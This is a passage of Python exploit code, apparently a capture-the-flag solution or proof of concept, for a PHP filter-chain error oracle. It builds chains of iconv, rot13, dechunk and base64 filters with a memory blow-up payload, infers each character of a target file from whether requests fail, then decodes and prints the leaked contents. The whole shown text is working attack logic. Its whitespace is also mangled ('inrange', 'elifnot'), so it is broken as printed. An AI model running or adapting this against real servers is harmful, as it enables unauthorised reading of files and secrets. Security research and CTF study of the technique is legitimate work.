print('Calculating blowup') baseline_blowup = 0 for n inrange(100): payload = join(*[blow_up_utf32]*n) if req(f'{header}|{payload}'): baseline_blowup = n break else: err('something wrong')
defget_nth(n): global flip, r2, r4 o = [] chunk = n // 2 if chunk % 2 == 1: o.append(r4) o.extend([flip, r4] * (chunk // 2)) if (n % 2 == 1) ^ (chunk % 2 == 1): o.append(r2) return join(*o)
rot1 = 'convert.iconv.437.CP930' be = 'convert.quoted-printable-encode|convert.iconv..UTF7|convert.base64-decode|convert.base64-encode' o = ''
deffind_letter(prefix): ifnot req(f'{prefix}|dechunk|{blow_up_inf}'): # a-f A-F 0-9 ifnot req(f'{prefix}|{rot1}|dechunk|{blow_up_inf}'): # a-e for n inrange(5): if req(f'{prefix}|' + f'{rot1}|{be}|'*(n+1) + f'{rot1}|dechunk|{blow_up_inf}'): return'edcba'[n] break else: err('something wrong') elifnot req(f'{prefix}|string.tolower|{rot1}|dechunk|{blow_up_inf}'): # A-E for n inrange(5): if req(f'{prefix}|string.tolower|' + f'{rot1}|{be}|'*(n+1) + f'{rot1}|dechunk|{blow_up_inf}'): return'EDCBA'[n] break else: err('something wrong') elifnot req(f'{prefix}|convert.iconv.CSISO5427CYRILLIC.855|dechunk|{blow_up_inf}'): return'*' elifnot req(f'{prefix}|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'): # f return'f' elifnot req(f'{prefix}|string.tolower|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'): # F return'F' else: err('something wrong') elifnot req(f'{prefix}|string.rot13|dechunk|{blow_up_inf}'): # n-s N-S ifnot req(f'{prefix}|string.rot13|{rot1}|dechunk|{blow_up_inf}'): # n-r for n inrange(5): if req(f'{prefix}|string.rot13|' + f'{rot1}|{be}|'*(n+1) + f'{rot1}|dechunk|{blow_up_inf}'): return'rqpon'[n] break else: err('something wrong') elifnot req(f'{prefix}|string.rot13|string.tolower|{rot1}|dechunk|{blow_up_inf}'): # N-R for n inrange(5): if req(f'{prefix}|string.rot13|string.tolower|' + f'{rot1}|{be}|'*(n+1) + f'{rot1}|dechunk|{blow_up_inf}'): return'RQPON'[n] break else: err('something wrong') elifnot req(f'{prefix}|string.rot13|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'): # s return's' elifnot req(f'{prefix}|string.rot13|string.tolower|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'): # S return'S' else: err('something wrong') elifnot req(f'{prefix}|{rot1}|string.rot13|dechunk|{blow_up_inf}'): # i j k if req(f'{prefix}|{rot1}|string.rot13|{be}|{rot1}|dechunk|{blow_up_inf}'): return'k' elif req(f'{prefix}|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'): return'j' elif req(f'{prefix}|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'): return'i' else: err('something wrong') elifnot req(f'{prefix}|string.tolower|{rot1}|string.rot13|dechunk|{blow_up_inf}'): # I J K if req(f'{prefix}|string.tolower|{rot1}|string.rot13|{be}|{rot1}|dechunk|{blow_up_inf}'): return'K' elif req(f'{prefix}|string.tolower|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'): return'J' elif req(f'{prefix}|string.tolower|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'): return'I' else: err('something wrong') elifnot req(f'{prefix}|string.rot13|{rot1}|string.rot13|dechunk|{blow_up_inf}'): # v w x if req(f'{prefix}|string.rot13|{rot1}|string.rot13|{be}|{rot1}|dechunk|{blow_up_inf}'): return'x' elif req(f'{prefix}|string.rot13|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'): return'w' elif req(f'{prefix}|string.rot13|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'): return'v' else: err('something wrong') elifnot req(f'{prefix}|string.tolower|string.rot13|{rot1}|string.rot13|dechunk|{blow_up_inf}'): # V W X if req(f'{prefix}|string.tolower|string.rot13|{rot1}|string.rot13|{be}|{rot1}|dechunk|{blow_up_inf}'): return'X' elif req(f'{prefix}|string.tolower|string.rot13|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'): return'W' elif req(f'{prefix}|string.tolower|string.rot13|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'): return'V' else: err('something wrong') elifnot req(f'{prefix}|convert.iconv.CP285.CP280|string.rot13|dechunk|{blow_up_inf}'): # Z return'Z' elifnot req(f'{prefix}|string.toupper|convert.iconv.CP285.CP280|string.rot13|dechunk|{blow_up_inf}'): # z return'z' elifnot req(f'{prefix}|string.rot13|convert.iconv.CP285.CP280|string.rot13|dechunk|{blow_up_inf}'): # M return'M' elifnot req(f'{prefix}|string.rot13|string.toupper|convert.iconv.CP285.CP280|string.rot13|dechunk|{blow_up_inf}'): # m return'm' elifnot req(f'{prefix}|convert.iconv.CP273.CP1122|string.rot13|dechunk|{blow_up_inf}'): # y return'y' elifnot req(f'{prefix}|string.tolower|convert.iconv.CP273.CP1122|string.rot13|dechunk|{blow_up_inf}'): # Y return'Y' elifnot req(f'{prefix}|string.rot13|convert.iconv.CP273.CP1122|string.rot13|dechunk|{blow_up_inf}'): # l return'l' elifnot req(f'{prefix}|string.tolower|string.rot13|convert.iconv.CP273.CP1122|string.rot13|dechunk|{blow_up_inf}'): # L return'L' elifnot req(f'{prefix}|convert.iconv.500.1026|string.tolower|convert.iconv.437.CP930|string.rot13|dechunk|{blow_up_inf}'): # h return'h' elifnot req(f'{prefix}|string.tolower|convert.iconv.500.1026|string.tolower|convert.iconv.437.CP930|string.rot13|dechunk|{blow_up_inf}'): # H return'H' elifnot req(f'{prefix}|string.rot13|convert.iconv.500.1026|string.tolower|convert.iconv.437.CP930|string.rot13|dechunk|{blow_up_inf}'): # u return'u' elifnot req(f'{prefix}|string.rot13|string.tolower|convert.iconv.500.1026|string.tolower|convert.iconv.437.CP930|string.rot13|dechunk|{blow_up_inf}'): # U return'U' elifnot req(f'{prefix}|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'): # g return'g' elifnot req(f'{prefix}|string.tolower|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'): # G return'G' elifnot req(f'{prefix}|string.rot13|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'): # t return't' elifnot req(f'{prefix}|string.rot13|string.tolower|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'): # T return'T' else: err('something wrong')
print() for i inrange(100): prefix = f'{header}|{get_nth(i)}' letter = find_letter(prefix) # it's a number! check base64 if letter == '*': prefix = f'{header}|{get_nth(i)}|convert.base64-encode' s = find_letter(prefix) if s == 'M': # 0 - 3 prefix = f'{header}|{get_nth(i)}|convert.base64-encode|{r2}' ss = find_letter(prefix) if ss in'CDEFGH': letter = '0' elif ss in'STUVWX': letter = '1' elif ss in'ijklmn': letter = '2' elif ss in'yz*': letter = '3' else: err(f'bad num ({ss})') elif s == 'N': # 4 - 7 prefix = f'{header}|{get_nth(i)}|convert.base64-encode|{r2}' ss = find_letter(prefix) if ss in'CDEFGH': letter = '4' elif ss in'STUVWX': letter = '5' elif ss in'ijklmn': letter = '6' elif ss in'yz*': letter = '7' else: err(f'bad num ({ss})') elif s == 'O': # 8 - 9 prefix = f'{header}|{get_nth(i)}|convert.base64-encode|{r2}' ss = find_letter(prefix) if ss in'CDEFGH': letter = '8' elif ss in'STUVWX': letter = '9' else: err(f'bad num ({ss})') else: err('wtf')
print(end=letter) o += letter sys.stdout.flush()
print() d = b64decode(o.encode() + b'=' * 4) # remove KR padding d = d.replace(b'$)C',b'') print(b64decode(d))